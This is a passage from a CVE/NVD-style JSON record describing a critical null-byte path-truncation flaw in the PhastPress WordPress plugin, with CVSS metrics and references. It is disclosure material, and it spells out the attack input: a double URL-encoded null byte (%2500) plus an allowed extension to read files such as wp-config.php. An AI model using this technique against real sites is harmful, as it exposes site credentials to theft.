This is due to a discrepancy between the extension validation in `getExtensionForURL()` which operates on URL-decoded paths, and `appendNormalized()` which strips everything after a null byte before constructing the filesystem path. This makes it possible for unauthenticated attackers to read arbitrary files from the webroot, including wp-config.php, by appending a double URL-encoded null byte (%2500) followed by an allowed extension (.txt) to the file path."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-158"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/phastpress/tags/3.6/sdk/phast.php#L9570", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/phastpress/tags/3.6/sdk/phast.php#L9597", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/phastpress/tags/3.6/sdk/phast.php#L9608", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/phastpress/tags/3.6/sdk/phast.php#L9641", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3418139", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/eec9bbc0-5a68-4624-a672-bd6227d6fa45?source=cve", "source": "[email protected]"}]}}
